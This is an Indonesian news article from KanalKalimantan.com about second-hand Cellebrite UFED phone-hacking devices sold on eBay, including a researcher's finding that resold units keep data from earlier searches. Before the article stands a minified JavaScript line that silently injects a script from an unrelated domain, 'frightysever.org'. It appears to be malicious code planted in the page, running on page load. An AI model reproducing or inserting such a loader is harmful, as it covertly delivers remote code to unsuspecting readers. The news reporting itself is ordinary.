(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Alat untuk pengumpulan, analisis, dan pengelolaan data digital, Cellebrite Universal Forensic Extraction Device (UFED), merupakan alat canggih yang banyak digunakan oleh badan intelijen seperti FBI untuk membobol ponsel.
Alih-alih sulit didapat, rupanya komunitas peretasan menemukan model yang lebih baru dari Cellebrite UFED sekarang telah dijual di marketplace Ebay.
Pada 2019, harga yang dipatok untuk versi baru Cellebrite UFED sebesar 6.000 dolar AS atau sekitar Rp 86,9 juta.
Menurut Thomas Brewster dari Forbes, Cellebrite UFED yang lebih lama memasuki pasar barang bekas dengan harga murah sekitar 100 dolar AS atau Rp 1,4 juta. Dengan kata lain, siapa pun sekarang dapat membelinya dan membobol smartphone.
Perusahaan Intelijen Digital Israel itu mendapat perhatian pada tahun 2018 setelah mengklaim dapat membuka iPhone dengan harga murah.
Ini juga terkenal karena penolakannya untuk membocorkan eksploitasi yang digunakan untuk melewati kata sandi.
Ilustrasi Israel dan teknologi informatika (Shutterstock).
Sebelumnya, akun Twitter Hacker Fantastic memberikan demo penggunaan Cellebrite UFED. Menggunakan peranti tersebut tidak memerlukan kecanggihan teknis tingkat tinggi.
Dilansir dari Nymag, Selasa (6/4/2021), Cellebrite memperoleh jutaan penjualan dari lembaga pemerintah federal tak lama setelah larangan perjalanan Trump diberlakukan pada 2019.
Di sisi lain, Forbes menemukan catatan dari Cellebrite yang memohon kepada pelanggan untuk mengembalikan unit alih-alih menjualnya kembali, tetapi tampaknya itu tidak menghentikan banyaknya alat peretasan ponsel yang sekarang beredar.
Tak hanya itu, Cellebrite UFED sendiri tidak terlalu aman. Dalam wawancara dengan Matthew Hickey, seorang peneliti keamanan siber dan salah satu pendiri Hacker House, mengungkapkan bahwa perangkat tersebut belum dibersihkan sebelum dikembalikan ke pasar.
Hickey menemukan bahwa unit bekas berisi informasi tentang perangkat apa yang dicari, kapan digeledah, dan jenis data apa yang dihapus. Selain itu, nomor pengenal seluler seperti kode IMEI juga dapat diketahui.
Hickey yakin ia bisa mendapatkan lebih banyak informasi pribadi, seperti daftar kontak atau obrolan, meskipun ia memutuskan untuk tidak menyelidiki data semacam itu.
Cellebrite UFED. [Cellebrite]
Editor : Suara
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.